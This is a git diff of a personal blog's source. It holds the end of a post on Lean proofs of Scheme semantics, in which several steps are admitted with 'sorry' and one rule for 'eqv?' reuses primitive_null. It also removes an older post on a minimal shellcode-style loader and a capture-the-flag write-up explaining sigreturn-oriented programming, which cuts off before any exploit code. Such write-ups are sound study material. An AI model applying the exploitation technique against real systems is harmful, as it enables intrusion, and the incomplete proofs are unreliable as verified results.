(atom.symbol "begin") := compile_stmt rest + | (atom.symbol "quote") := some (stmt.expr rest) + | _ := do { + result₁ ← compile_stmt func, + result₂ ← compile_stmt rest, + pure (stmt.app result₁ [result₂]) } + end +-- Arity 2 +| (atom.list (list.cons func (list.cons place (list.cons rhs (list.nil))))) := + match func with + | (atom.symbol "begin") := + do { + result₁ ← compile_stmt func, + result₂ ← compile_stmt place, + result₃ ← compile_stmt rhs, + pure (stmt.seq result₂ result₃) } + | (atom.symbol "set!") := + match place with + | (atom.symbol place) := + do { + rhs_result ← compile_stmt rhs, + pure (stmt.assign place rhs_result) } + | _ := none + end + -- We'll convert lambda expressions into compound procedures at evaluation + -- time. We don't have scope information at compile time, so we can't + -- construct closed environments. + | (atom.symbol "lambda") := some (stmt.expr (atom.list [func, place, rhs])) + | (atom.symbol "define") := + match place with + -- Syntax sugar for (define func (lambda (param₁ ...) body)) + | (atom.list (list.cons (atom.symbol func_name) params)) := + some (stmt.expr + (atom.list ([ + (atom.symbol "lambda"), + (atom.list params), + (atom.list [(atom.symbol "begin"), rhs])]))) + | (atom.symbol place) := + do { + rhs_result ← compile_stmt rhs, + pure (stmt.define place rhs_result) } + | _ := none + end + | _ := do { + result₁ ← compile_stmt func, + result₂ ← compile_stmt place, + result₃ ← compile_stmt rhs, + pure (stmt.app result₁ [result₂, result₃]) } + end +-- Arity 3 +| (atom.list (list.cons func (list.cons rest_head (list.cons rest_tail₁ (list.cons rest_tail₂ (list.nil)))))) := +match func with + | (atom.symbol "if") := + do { + result₁ ← compile_stmt rest_head, + result₂ ← compile_stmt rest_tail₁, + result₃ ← compile_stmt rest_tail₂, + pure (stmt.ite result₁ result₂ result₃)} + | (atom.symbol "begin") := + do { + result₁ ← compile_stmt rest_head, + result₂ ← compile_stmt rest_tail₁, + result₃ ← compile_stmt rest_tail₂, + pure (stmt.seq result₁ (stmt.seq result₂ result₃))} + | _ := do { + result₁ ← compile_stmt func, + result₂ ← compile_stmt rest_head, + result₃ ← compile_stmt rest_tail₁, + result₄ ← compile_stmt rest_tail₂, + pure (stmt.app result₁ [result₂, result₃, result₄])} + end +-- Arity n > 3 +| (atom.list (list.cons func (list.cons rest_head (list.cons rest_tail₁ rest_tail₂)))) := + match func with + | (atom.symbol "begin") := + do { + result₁ ← compile_stmt rest_head, + result₂ ← compile_stmt rest_tail₁, + result₃ ← compile_stmt_list rest_tail₂, + pure (stmt.seq result₁ (stmt.seq result₂ (seq_from_list_stmt result₃)))} + -- Generalization of `lambda` above. + -- We're duplicating code to make the equation compiler happy. + | (atom.symbol "lambda") := some (stmt.expr (atom.list (list.cons func (list.cons rest_head (list.cons rest_tail₁ rest_tail₂))))) + -- Syntax sugar for (define func (lambda (param₁ ...) body)) + -- We're duplicating code to make the equation compiler happy. + | (atom.symbol "define") := + match rest_head with + | (atom.list (list.cons (atom.symbol func_name) params)) := + some (stmt.expr + (atom.list ([ + (atom.symbol "lambda"), + (atom.list params), + (atom.list ([(atom.symbol "begin")] ++ (list.cons rest_tail₁ rest_tail₂)))]))) + | _ := none + end + | _ := do { + result₁ ← compile_stmt func, + result₂ ← compile_stmt_list (list.cons rest_head (list.cons rest_tail₁ rest_tail₂)), + pure (stmt.app result₁ result₂) } + end +| (atom.list (list.nil)) := none +| (atom.symbol sym) := + if is_primitive_procedure sym then + some (stmt.expr (atom.primitive_procedure sym)) + else some (stmt.var sym) +| e := some (stmt.expr e) + +with compile_stmt_list : list atom → option (list stmt) +| (list.cons head rest) := + match compile_stmt head with + | (some result) := + match (compile_stmt_list rest) with + | some result_rest := some (list.cons result result_rest) + | none := none + end + | none := none + end +| (list.nil) := some [] + +def unwrap_option {α : Type} [inhabited α] : option α → α +| (some x) := x +| _ := inhabited.default + +mutual inductive args_step, big_step +with args_step : list stmt × list state → list atom × list state → Prop +| nil {s} : + args_step + ((list.nil), s) + ((list.nil), s) + +| cons {S T s s' s'' u r} + (hstep : big_step (S, s) (u, s')) + (hrest : args_step (T, s') (r, s'')) : + args_step + (list.cons S T, s) + (list.cons u r, s'') + +with big_step : stmt × list state → atom × list state → Prop +-- I'm not especially happy with this particular rule. I don't think it's +-- unsound, but I'm not 100% confident about that. Unfortunately it's necessary +-- if I don't want to completely rework how function bodies are represented. +| drop_frame {expr u s s' f rest} + (heval_in_frame : big_step (expr, s) (u, s')) + (h_has_frame : s = list.cons f rest) : + big_step (expr, s) (u, rest) + +| self_evaluating {expr s} + (h_not_lambda : ¬ is_lambda expr): + big_step + (stmt.expr expr, s) + (expr, s) + +| construct_compound_procedure {args body closure s} + (h_well_formed : mk_compound_procedure s args body = except.ok closure): + big_step + (stmt.expr (atom.list ([(atom.symbol "lambda"), args] ++ body)), s) + (closure, s) + +| var_deref {x u s} + (h_lookup_var : lookup_var x s = some u): + big_step + (stmt.var x, s) + (u, s) + +| seq {S S' T s t t' u} + (hS : big_step (S, s) (S', t)) + (hT : big_step (T, t) (u, t')) : + big_step + (stmt.seq S T, s) + (u, t') + +| assign {x rhs rhs_expr s s' s''} + (h_rhs_eval : big_step (rhs, s) (rhs_expr, s')) + (h_var_exists : set_var x rhs_expr s' = except.ok s'') : + big_step + (stmt.assign x rhs, s) + (atom.undefined, s'') + +| define {x rhs rhs_expr s s'} + (h_rhs_eval : big_step (rhs, s) (rhs_expr, s')) : + big_step + (stmt.define x rhs, s) + (atom.undefined, list.cons ((list.head s'){x ↦ rhs_expr}) (list.tail s')) + +| ite_true {b S T s s' t u} + (hcond : big_step (b, s) ((atom.boolean tt), s')) + (heval : big_step (S, s') (u, t)) : + big_step + (stmt.ite b S T, s) + (u, t) + +| ite_false {b S T s s' t u} + (hcond : big_step (b, s) ((atom.boolean ff), s')) + (heval : big_step (T, s') (u, t)) : + big_step + (stmt.ite b S T, s) + (u, t) + +| application {closed func params body body' args args' expr s s' s'' s'''} + (h_func : big_step (func, s) ((atom.compound_procedure closed params body), s')) + (h_args : args_step (args, s') (args', s'')) + (h_well_formed : compile_stmt body = some body') + (heval : big_step (body', + (list.cons (new_frame params args') + (list.cons closed s'))) + (expr, s'')) : + big_step + (stmt.app func args, s) + (expr, s''') + +| application_primitive_add {s s' args args' n} + (h_args : args_step (args, s) (args', s')) + (heval: primitive_add args' = except.ok (atom.number n)): + big_step + (stmt.app + (stmt.expr (atom.primitive_procedure "+")) + args, s) + (atom.number n, s) + +| application_primitive_sub {s s' args args' n} + (h_args : args_step (args, s) (args', s')) + (heval: primitive_sub args' = except.ok (atom.number n)): + big_step + (stmt.app + (stmt.expr (atom.primitive_procedure "-")) + args, s) + (atom.number n, s) + +| application_primitive_mul {s s' args args' n} + (h_args : args_step (args, s) (args', s')) + (heval: primitive_mul args' = except.ok (atom.number n)): + big_step + (stmt.app + (stmt.expr (atom.primitive_procedure "*")) + args, s) + (atom.number n, s) + +| application_primitive_div {s s' args args' n} + (h_args : args_step (args, s) (args', s')) + (heval: primitive_div args' = except.ok (atom.number n)): + big_step + (stmt.app + (stmt.expr (atom.primitive_procedure "/")) + args, s) + (atom.number n, s) + +| application_primitive_eq {s s' args args' b} + (h_args : args_step (args, s) (args', s')) + (heval: primitive_eq args' = except.ok (atom.boolean b)): + big_step + (stmt.app + (stmt.expr (atom.primitive_procedure "=")) + args, s) + (atom.boolean b, s) + +| application_primitive_car {s s' args args' u} + (h_args : args_step (args, s) (args', s')) + (heval: primitive_car args' = except.ok u): + big_step + (stmt.app + (stmt.expr (atom.primitive_procedure "car")) + args, s) + (u, s) + +| application_primitive_cdr {s s' args args' u} + (h_args : args_step (args, s) (args', s')) + (heval: primitive_cdr args' = except.ok u): + big_step + (stmt.app + (stmt.expr (atom.primitive_procedure "cdr")) + args, s) + (u, s) + +| application_primitive_cons {s s' args args' u} + (h_args : args_step (args, s) (args', s')) + (heval: primitive_cons args' = except.ok u): + big_step + (stmt.app + (stmt.expr (atom.primitive_procedure "cons")) + args, s) + (u, s) + +| application_primitive_null {s s' args args' u} + (h_args : args_step (args, s) (args', s')) + (heval: primitive_null args' = except.ok u): + big_step + (stmt.app + (stmt.expr (atom.primitive_procedure "null?")) + args, s) + (u, s) + +| application_primitive_eqv {s s' args args' u} + (h_args : args_step (args, s) (args', s')) + (heval: primitive_null args' = except.ok u): + big_step + (stmt.app + (stmt.expr (atom.primitive_procedure "eqv?")) + args, s) + (u, s) +#+END_SRC + +#+BEGIN_EXPORT html +
+#+END_EXPORT + +This is the simplest program I could think of to show that the program semantics are at least usable. + +#+BEGIN_SRC lean +lemma var_lookup : + big_step + (stmt.var "x", [(λ x, none){"x" ↦ atom.number 1}]) + ((atom.number 1), [(λ x, none){"x" ↦ atom.number 1}]) := +begin + apply big_step.var_deref, + let my_state := [(λ x, none){"x" ↦ atom.number 1}], + apply lookup_head, + simp [state.update], +end +#+END_SRC + +This is a much more involved proof: that the factorial program at the top of this file is "correct," in the sense that it computes `int.factorial`. + +As you'll see, my approach to proving this statement involved many obligations, and ended up being very tedious. It's effectively the "intro to algorithms" proof of correctness for factorial, except that we're appealing to the big-step semantics above. By which I mean -- we're doing a rather poor job of leveraging the mathematical tools we just spent pages of code developing. Had I more time to work on this assignment, I might have naturally come to one of the refinement-based solutions, but I chose to be stubborn and just press forward. + +#+BEGIN_EXPORT html +
+#+END_EXPORT + +#+BEGIN_SRC lean +def nat.factorial : ℕ → ℤ +| 0 := 1 +| (n + 1) := (n + 1) * (nat.factorial n) + +def int.factorial : ℤ → ℤ +| (int.of_nat n) := nat.factorial n +| (int.neg_succ_of_nat n) := nat.factorial (n + 1) + +-- Would be trivial if there wasn't casting. +lemma sub1_cast (n : ℕ) : + primitive_sub [atom.number (↑n + 1), atom.number 1] = except.ok (atom.number ↑n) := +sorry + +-- Would be trivial (unfold `int.factorial`) if there wasn't casting. +lemma primitive_mul_fact (n : ℕ) : + primitive_mul [atom.number (↑n + 1), atom.number (int.factorial ↑n)] = except.ok (atom.number (int.factorial ↑(nat.succ n))) := +sorry + +-- Would be trivial if comparison was decidable. +lemma factorial_program_compile_inner : + (compile_stmt + (atom.list + [atom.symbol "if", atom.list [atom.symbol "=", atom.number 0, atom.symbol "x"], atom.number 1, atom.list + [atom.symbol "*", atom.symbol "x", atom.list + [atom.symbol "factorial", atom.list [atom.symbol "-", atom.symbol "x", atom.number 1]]]])) = + some + (stmt.ite (stmt.app (stmt.expr (atom.primitive_procedure "=")) + [stmt.expr (atom.number 0), stmt.var "x"]) + (stmt.expr (atom.number 1)) + (stmt.app (stmt.expr (atom.primitive_procedure "*")) + [stmt.var "x", + stmt.app (stmt.var "factorial") + [stmt.app (stmt.expr (atom.primitive_procedure "-")) + [stmt.var "x", stmt.expr (atom.number 1)]]])) := +sorry + +-- For convenience -- the `factorial` function definition is pretty unwieldy to +-- be passing around in theorem statements. +def define_factorial (s : list state) : list state := +list.cons ((λ _, none){"factorial" ↦ + (atom.compound_procedure (λ x, none) ["x"] + (atom.list [ + (atom.symbol "if"), + (atom.list [(atom.symbol "="), (atom.number 0), (atom.symbol "x")]), + (atom.number 1), + (atom.list [ + (atom.symbol "*"), + (atom.symbol "x"), + (atom.list [ + (atom.symbol "factorial"), + (atom.list [ + (atom.symbol "-"), + (atom.symbol "x"), + (atom.number 1)])])])]))}) s + +lemma factorial_program_correct (n : ℕ) (s : list state) (arg : stmt) + (h_eval_to_n : big_step + (arg, define_factorial s) + (atom.number n, define_factorial s)) : + big_step + (stmt.app (stmt.var "factorial") [arg], define_factorial s) + (atom.number (int.factorial n), define_factorial s) := +begin + let fundef := + (atom.compound_procedure (λ x, none) ["x"] + (atom.list [ + (atom.symbol "if"), + (atom.list [(atom.symbol "="), (atom.number 0), (atom.symbol "x")]), + (atom.number 1), + (atom.list [ + (atom.symbol "*"), + (atom.symbol "x"), + (atom.list [ + (atom.symbol "factorial"), + (atom.list [ + (atom.symbol "-"), + (atom.symbol "x"), + (atom.number 1)])])])])), + have h_lookup_factorial : lookup_var "factorial" (define_factorial s) = some fundef, by + begin + simp [define_factorial], + apply lookup_head, + simp [state.update], + end, + induction' n, + { apply big_step.application, + { apply big_step.var_deref, + simp [h_lookup_factorial, fundef], + apply and.intro, + { refl, }, + { apply and.intro, + { refl, }, + { refl, }}}, + { apply args_step.cons, + { apply h_eval_to_n, }, + { apply args_step.nil, }}, + { exact factorial_program_compile_inner, }, + { apply big_step.ite_true, + { apply big_step.application_primitive_eq, + { apply args_step.cons, + { apply big_step.self_evaluating, simp [is_lambda], }, + { apply args_step.cons, + { apply big_step.var_deref, + simp [new_frame], + apply lookup_head, + simp [state.update], }, + { apply args_step.nil, }}}, + { unfold primitive_eq, simp, }}, + { apply drop_two_frames, + apply big_step.self_evaluating, + simp [is_lambda], }}}, + { apply big_step.application, + { apply big_step.var_deref, + simp [h_lookup_factorial, fundef], + apply and.intro, + { refl, }, + { apply and.intro, + { refl, }, + { refl, }}}, + { apply args_step.cons, + { apply h_eval_to_n, }, + { apply args_step.nil, }}, + { exact factorial_program_compile_inner, }, + { apply big_step.ite_false, + { apply big_step.application_primitive_eq, + { apply args_step.cons, + { apply big_step.self_evaluating, simp [is_lambda], }, + { apply args_step.cons, + { apply big_step.var_deref, + simp [new_frame], + apply lookup_head, + simp [state.update], }, + { apply args_step.nil, }}}, + { unfold primitive_eq, + norm_cast, }}, + { apply drop_two_frames, + apply big_step.application_primitive_mul, + { apply args_step.cons, + { apply big_step.var_deref, + simp [new_frame, state.update], + apply lookup_head, + simp, }, + { apply args_step.cons, + { have hsimp : ∀ (arg : stmt) (u : atom) (s : list state), + big_step (arg, new_frame ["x"] [atom.number ↑(nat.succ n)] :: (λ (x : string), none) :: define_factorial s) + (u, new_frame ["x"] [atom.number ↑(nat.succ n)] :: (λ (x : string), none) :: define_factorial s) ↔ + big_step (arg, define_factorial (new_frame ["x"] [atom.number ↑(nat.succ n)] :: (λ (x : string), none) :: define_factorial s)) + (u, define_factorial (new_frame ["x"] [atom.number ↑(nat.succ n)] :: (λ (x : string), none) :: define_factorial s)), + by sorry, -- Nontrivial but obvious. + rw hsimp, + apply ih, + { exact h_lookup_factorial, }, + { apply big_step.application_primitive_sub, + { apply args_step.cons, + { have hsimp₂ : lookup_var "x" + (define_factorial + (new_frame ["x"] [atom.number ↑(nat.succ n)] :: (λ (x : string), none) :: define_factorial s)) = + lookup_var "x" (new_frame ["x"] [atom.number ↑(nat.succ n)] :: (λ (x : string), none) :: define_factorial s), + by sorry, -- Nontrivial but obvious. + apply big_step.var_deref, + rw hsimp₂, + simp [new_frame, state.update], + apply lookup_head, + simp, }, + { apply args_step.cons, + { apply big_step.self_evaluating, + simp [is_lambda], }, + { apply args_step.nil, }}}, + { apply sub1_cast, }}}, + { apply args_step.nil, }}}, + apply primitive_mul_fact, }}} +end +#+END_SRC + +#+BEGIN_EXPORT html +
+#+END_EXPORT + +The =sorry= keyword lets you pretend to be Pierre de Fermat and say "this should be provable but I don't want to write the proof down." It's helpful in making some progress when you're working towards a deadline, but it completely violates the soundness of Lean's logic. + +I'm not sure how enlightening any of this is, but I think it does highlight how much goes into using these sorts of tools for program verification compared to the ease with which we used Alloy to check my answer to a homework problem. + +* What I Have Yet to Learn + +Quite a bit! + +I've alluded to a few things in the previous sections. I have much more to learn about the specification of programming language semantics, and how to apply data refinement in practice. I'm also interested in learning TLA+ and SPARK. They seem to meet somewhere in the middle of Alloy and Lean, which I expect to be the right fit for what I do professionally. I want to learn about the mathematics that underpins SMT, and the algorithms that enable fast SAT solving. I want to learn about how Lean works at a low-level, and the different approaches to encoding logic in a proof assistant. + +In short, I've barely scratched the surface. I know enough to be dangerous, but I have a ways to go before I'm the "domain expert" I strive to be. + +* Conclusions + +In this article, we've introduced what formal methods are and gained a cursory understanding of the techniques suited to "high-level" verification and "low-level" verification. "Formal methods" refers to the use of mathematical techniques to establish properties about software and verify that those properties hold true -- to provide a higher level of confidence to practitioners about the correctness of software than testing alone. Alloy and Forge are well-suited to working with systems at a high-level and leverage SAT solving to verify properties of interest. Lean, Isabelle, and Coq are well-suited to working with systems at a lower level, and work as a mechanization of mathematical logic: a proof in a proof assistant is equivalent to (but typically more formal than) a proof that a mathematician or computer scientist might write on a piece of paper. + +Now that I've got that out of my system, it's time to get back to keeping my head down and working on applying what I've learned to something useful. I hope to write about what I'm working on soon, but this blog can be a bit of a distraction, so I'll be taking a short break from writing for now. See you soon! + +* Appendix: Using the Tools + +Lean 3 is packaged in the Gentoo repositories, but Lean 4 is not. I have an ebuild for it in [[https://git.sr.ht/~jakob/zerodaysfordays][my overlay]] if you use Gentoo and you'd like to experiment with Lean 4. + +[[https://github.com/leanprover/lean-mode][lean-mode]] was great but [[https://github.com/leanprover/lean4-mode][lean4-mode]] forces you into using [[https://github.com/emacs-lsp/lsp-mode][lsp-mode]], which I don't like. (I much prefer [[https://github.com/joaotavora/eglot][eglot]].) I'm currently using [[https://github.com/akirak/lean4-mode/commits/modular][this fork]], which isolates the parts which are specific to =lsp-mode=. Then all I need to do is set =/usr/bin/lake serve= as the language server for =lean4-mode= in =eglot-server-programs= and add + +#+BEGIN_SRC elisp +(defvar lean4-goal-buffer (get-buffer-create "*lean4-goal*")) + +(defun lean4-update-goal-buffer () + (when (eq 'lean4-mode major-mode) + (jsonrpc-async-request + (eglot--current-server-or-lose) + :$/lean/plainGoal (eglot--TextDocumentPositionParams) + :success-fn + (lambda (&rest args) + (let ((goals (seq-reduce #'concat (plist-get (car args) :goals) ""))) + (save-excursion + (set-buffer lean4-goal-buffer) + (erase-buffer) + (insert goals)) + (message goals))) + :error-fn + (lambda (&rest args) (message (format "JSONrpc error %s" args)))))) + +(defun lean4-update-goal-buffer-wrap () + (unless (or (window-minibuffer-p) (not (eq major-mode 'lean4-mode))) + (lean4-update-goal-buffer))) + +(add-hook 'post-command-hook #'lean4-update-goal-buffer-wrap) +#+END_SRC + +to my =init.el= and I get a goal buffer similar to the old lean-mode or Proof General. + +--- + +[fn:1] [[https://people.cs.umass.edu/~immerman/cs691/cs691.html][CS 691M]] was last offered in 1996. [[https://people.cs.umass.edu/~hconboy/class/2023Spring/CS520/][CS 520]] purportedly discusses "formal specification methods." If you read over the syllabus, you'll quickly understand that to be an empty claim. Perhaps I could have self-taught as part of an [[https://www.cics.umass.edu/content/undergraduate-independent-study-information][independent study]], but the department (at the time) didn't count independent study credits toward your graduation requirements, and I had another offer (with money involved) to do a REU in cryptography, so that's how I spent the limited time I had available to me. + +[fn:2] I've allowed myself to move the goalposts: my purpose is now to learn enough to demonstrate that there would be value in sending me back to school to get my Ph.D. and then truly become a domain expert! + +[fn:3] It's uncommon to include stochastic tests such as this one in a "test suite". It's desirable to have a test suite that always passes or always fails. + +[fn:4] One thing also worth noting is that being able to sleep at night /now/ doesn't necessarily mean you won't have to work on safety-critical or mission-critical software later on in your career. If you're merely a hobbyist, maybe these points aren't especially convincing to you. + +[fn:5] Jackson, D. (2002). [[https://homepage.cs.uiowa.edu/~tinelli/classes/181/Spring03/Readings/Jack02b.pdf][Alloy: a lightweight object modelling notation]]. ACM Transactions on software engineering and methodology (TOSEM), 11(2), 256-290. + +[fn:6] Boolean SATisfiability and Satisfiability Modulo Theories, respectively. + +[fn:7] Nelson, T., Barratt, C., Dougherty, D. J., Fisler, K., & Krishnamurthi, S. (2010, November). The Margrave Tool for Firewall Analysis. In LISA (Vol. 10, pp. 1-18). + +[fn:8] There is some risk involved in using a new tool that doesn't have a reputation of stability, but there has to be a critical mass of folks taking that risk and being at the forefront of using the tool to help it get a good reputation. I'm choosing to take that risk. + +[fn:9] To be clear: this wasn't my motivation to engage with a study of formal methods. + +[fn:10] In temporal mode, Forge always generates traces of infinite length, but there will be a loop somewhere within it. + +[fn:11] Even so, I'm covering only a small part of the problem, so I wouldn't expect this article to be that useful to someone trying to cheese a homework assignment. + +[fn:12] For more realistic examples of property testing in Scheme, see [[https://ngyro.com/software/guile-quickcheck.html][guile-quickcheck]]. diff --git a/haunt/static/image/cbt-2023-04-13.jpg b/haunt/static/image/cbt-2023-04-13.jpg new file mode 100644 index 0000000..f691e45 Binary files /dev/null and b/haunt/static/image/cbt-2023-04-13.jpg differ diff --git a/haunt/static/image/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play-wireshark.png b/haunt/static/image/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play-wireshark.png new file mode 100644 index 0000000..2d993af Binary files /dev/null and b/haunt/static/image/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play-wireshark.png differ diff --git a/org/Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader/analyzing-executable-size-part-0.org b/org/Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader/analyzing-executable-size-part-0.org deleted file mode 100644 index a81386c..0000000 --- a/org/Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader/analyzing-executable-size-part-0.org +++ /dev/null @@ -1,178 +0,0 @@ -#+TITLE: Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader -#+DATE: <2017-07-31 Mon 13:35> -#+TAGS: writeup, programming, operating-systems, c, linux - -#+BEGIN_EXPORT html -
-

This was intended to be a series describing trends in programming language - technology and how they relate to an increase in the average size of - executable files. It never materialized beyond this initial post. - - And, as of 2022, I find it unlikely that I will come back to complete the - series. We have seen a renewed interest in linkers and loaders - (cf. mold), but I never - intended to discuss linkers and loaders in this series beyond the purpose of - ELF metadata. It warrants treatment, but I would like to approach it without - the baggage of this first post. - - As for the idea that trends in compiler technology are affecting binary - size: it is not as interesting as one may think. The bottom-line is that - modern technologies tend to bring a runtime along with them, often more - accommodating than the C runtime. The binary necessarily contains this - runtime and is therefore larger. I don't think it's as much of a problem as - folks make it out to be, and my past self seems to be somewhat cognizant of - that.

-
-#+END_EXPORT - -It seems that static linking is back in style, or at least popular among all the -hip new programming languages of today. I don't have anything against statically -linked binaries, nor do I have a problem with larger executables, but I've -noticed that the acceptable size for an executable is a lot larger now than it -was a few years ago; that is, the new kids on the block have significantly more -leeway than their predecessors. For example - a C program that spits out "hello -world" is 7 KB when statically linked to musl. It's 12 KB when dynamically -linked to glibc. The same program in D, where the reference compiler doesn't -allow dynamic linking to the standard library, is 896 KB. A blog post I read -recently about certificate chain verification in Go made a point of praising the -toolchain for being able to spit out a binary that was "less than 6 MB!" I'm -being more facetious than with my D example, as this was statically linked to an -SSL-capable web server, but 6 MB is a little over half the size of a -[[https://en.wikipedia.org/wiki/Tiny_Core_Linux][fully-functioning operating system]]. I'm not so interested in why we settle -binaries the size of a few videos, but instead I'd like to look at why they're -that large to begin with. To peer in and see what wealth of information is -stored inside, and how certain programming languages make use of that -information. - -Perhaps we should first take a step back. What is a binary, anyway? It's a -structured format, not much different than your typical PNG or Ogg file, -containing some machine code instructions and directives for how the program -should be loaded into memory. The task of parsing the binary and actually -loading it is done by a *loader*, though that's a pretty broad term. My favorite -book on this subject, /Linkers and Loaders/ by John R. Levine, defines a loader -as a program to "copy a program from secondary storage (which since about 1968 -invariably means a disk) into main memory so it's ready to be run. In some cases -loading just involves copying the data from disk to memory, in others it -involves allocating storage, setting protection bits, or arranging for virtual -memory to map virtual addresses to disk pages." - -Loaders are everywhere, as you can probably imagine. Maybe you've heard of a -boot loader; those are for getting a kernel into memory from the strange and -unfamiliar land of x86 real mode. Whenever you run a program on Linux, it's -loaded by the kernel's ELF loader, of which you can find the source code for at -[[https://github.com/torvalds/linux/blob/master/fs/binfmt_elf.c][=fs/binfmt_elf.c=]] of the kernel source tree. On a higher level, something like -Java has a class loader for getting bytecode into memory so that the JVM can run -it. - -As our first step into the world of loaders, we'll write our own. A very basic -one, at that. I think that because we're taking a look at how much information -can be stored inside of a binary, we should begin with the absolute minimum. It -won't use a structured format, and won't set up memory beyond the stack and a -page for executable code, but not at a specified address of any sort. Where that -code exists in memory isn't known to the program, and it only really knows where -the stack is from the =%rsp= register. We'll simply load some machine code from -a file, and execute it. I'll spare you the per-line explanation I usually give, -since it's reasonably simple and the only part you might not understand already -is explained through comments. - -#+BEGIN_SRC c -#include -#include - -#include - - -size_t binary_size(FILE *); - - -int main(int argc, char **argv) { - FILE *fp; - void *exe; - size_t exe_size; - void (*jump)(void); - - if (argc != 2 || (fp = fopen(argv[1], "rb")) == NULL) { - fprintf(stderr, "USAGE: %s [FILE]\n", argv[0]); - return 1; - } - - if ((exe_size = binary_size(fp)) == 0) { - return 1; - } - - /* Because writable memory pages are marked as non-executable by - default, we need to map a new page of memory for our executable - code. We do this by invoking the "mmap" syscall, and getting a - new page from the kernel. */ - exe = mmap(NULL, exe_size, PROT_WRITE | PROT_EXEC, - MAP_SHARED | MAP_ANONYMOUS, -1, 0); - - if (exe == MAP_FAILED) { - fprintf(stderr, "mmap failure.\n"); - return 1; - } - - fread(exe, exe_size, 1, fp); - jump = exe; - jump(); - - munmap(exe, exe_size); - fclose(fp); - return 0; -} - - -/* We'll use some POSIX standard functions because we can and they're - generally safer than fseek and ftell. */ -size_t binary_size(FILE *fp) { - struct stat buf; - - if ((fstat(fileno(fp), &buf) != 0) || (!S_ISREG(buf.st_mode))) { - return 0; - } - - return buf.st_size; -} -#+END_SRC - -Looks good! We can't use any of the binaries on our system to test it out, -though. They're in some structured format like ELF and the header would be -interpreted as code -- probably causing a segmentation fault. Even if it got -past the header without a core dump, the binary probably relies on some absolute -addressing that we didn't set up properly. So instead of running =/bin/ls= -through our program, we'll assemble "hello world." - -#+BEGIN_SRC asm - leaq (%rip), %rax - addq $_msg_end - ., %rax - jmpq *%rax -_msg: - .ascii "Hello, world!\n" -_msg_end: - movq $0x01, %rax - movq $0x01, %rdi - leaq (%rip), %rsi - subq $. - _msg, %rsi - movq $0x0e, %rdx - syscall - ret -#+END_SRC - -What you'll probably notice immediately is that we're forced to write a -position-independent executable. As I mentioned earlier, our loader can't handle -absolute addresses. It can't really handle anything, aside from the most simple -of x86 instructions. We do a =ret= at the very end to return control to the -loader. Nothing left to do now but test it out: - -#+BEGIN_SRC -[jakob@Epsilon ~]$ ./a.out test.bin -Hello, world! -#+END_SRC - -=test.bin= is 64 bytes and takes 0.001s to load and run. I probably could have -made the program smaller, but I think it's a perfectly fine benchmark as we -continue through this series. Keep in mind that 64 bytes is only achievable -because we forget the conveniences of modern loaders. We can only run -position-independent code, there's no separation between data and code segments, -no room for debugging symbols, no write protection on the code segment, nothing. -This is perhaps the most stripped down loader you can get. diff --git a/org/BackdoorCTF 2017: FUNSIGNALS/backdoorctf-2017-funsignals.org b/org/BackdoorCTF 2017: FUNSIGNALS/backdoorctf-2017-funsignals.org deleted file mode 100644 index 9ee9606..0000000 --- a/org/BackdoorCTF 2017: FUNSIGNALS/backdoorctf-2017-funsignals.org +++ /dev/null @@ -1,107 +0,0 @@ -#+TITLE: BackdoorCTF 2017: FUNSIGNALS -#+DATE: <2017-09-24 Thu 12:01> -#+TAGS: writeup, security, capture-the-flag, binary-exploitation, x86, linux - -"funsignals" was a 250 point binary exploitation challenge with 58 solves. The -challenge itself was a very trivial example of sigreturn-oriented programming. - -Sigreturn-oriented programming is a means of getting values into certain -registers without having to use ROP gadgets that pop values from the stack. It's -a technique that relies on how UNIX-like operating systems implement signals - -to quote an [[https://lwn.net/Articles/676803/][article from LWN on the subject]], "when a signal is delivered to a -process, execution jumps to the designated signal handler; when the handler is -done, control returns to the location where execution was interrupted. Signals -are a form of software interrupt, and all of the usual interrupt-like accounting -must be dealt with. In particular, before the kernel can deliver a signal, it -must make a note of the current execution context, including the values stored -in all of the processor registers." - -That "execution context" is quite simply a structure stored on the stack, which -is colloquially known as the "sigcontext" structure and is defined in the -architecture-specific headers of the Linux kernel. x86, for example is found at -[[http://elixir.free-electrons.com/linux/latest/source/arch/x86/include/uapi/asm/sigcontext.h][=arch/x86/include/uapi/asm/sigcontext.h=]]. - -We're given a small amd64 Linux binary for the challenge. Its code is only a few -bytes long: - -#+BEGIN_SRC asm :hl_lines 0 -;-- _start: -0x10000000 31c0 xorl %eax, %eax -0x10000002 31ff xorl %edi, %edi -0x10000004 31d2 xorl %edx, %edx -0x10000006 b604 movb $4, %dh -0x10000008 4889e6 movq %rsp, %rsi -0x1000000b 0f05 syscall -0x1000000d 31ff xorl %edi, %edi -0x1000000f 6a0f pushq $0xf -0x10000011 58 popq %rax -0x10000012 0f05 syscall -0x10000014 cc int3 -;-- syscall: -0x10000015 0f05 syscall -0x10000017 4831ff xorq %rdi, %rdi -0x1000001a 48c7c03c0000. movq $0x3c, %rax -0x10000021 0f05 syscall -#+END_SRC - -Don't be intimidated by the use of the seemingly uncommon =syscall= instruction, -the portion before the 'syscall' symbol is equivalent to the following C code. - -#+BEGIN_SRC c :hl_lines 0 -char buf[0x400]; -read(0, buf, 0x400); -sigreturn(); -#+END_SRC - -=sigreturn(2)= is a system call you never use in practice, but as we mentioned -earlier, the process needs to restore the context when it returns from a signal -handler. This is how it's done. =sigreturn(2)= essentially pops the =sigcontext= -structure from the stack and fills the proper registers. Also, that =int3= -instruction should be a hint to us that we'll have to manipulate the instruction -pointer, too, since the program would abort if we hit that. - -A few bytes following the binary's code is a string that sticks out like a sore -thumb: ~fake_flag_here_as_original_is_at_server~. To get the flag, we're going to -want to print out whatever's at that address, which we can do with the =sys_write= -system call. We're going to want to load =0x01=, the syscall number for =sys_write=, -into =%rax=, =0x01= into =%rdi= for =stdout=, =0x10000023= into =%rsi= for the address of -the flag we want to print, and =0x29= into =%rdx= for the approximate length of the -flag. Once the registers are all set up, we're going to want to invoke the -kernel, so we'll set =%rip= to =0x10000015= - where there's a =syscall= instruction -followed by a clean exit. To load all of those registers, we will fill out a -sigcontext frame containing the values. - -Now, I would highly advise against manually packing the =sigcontext= structure, -as there are a few undocumented fields that can and will cause segmentation -faults coming from seemingly nowhere. 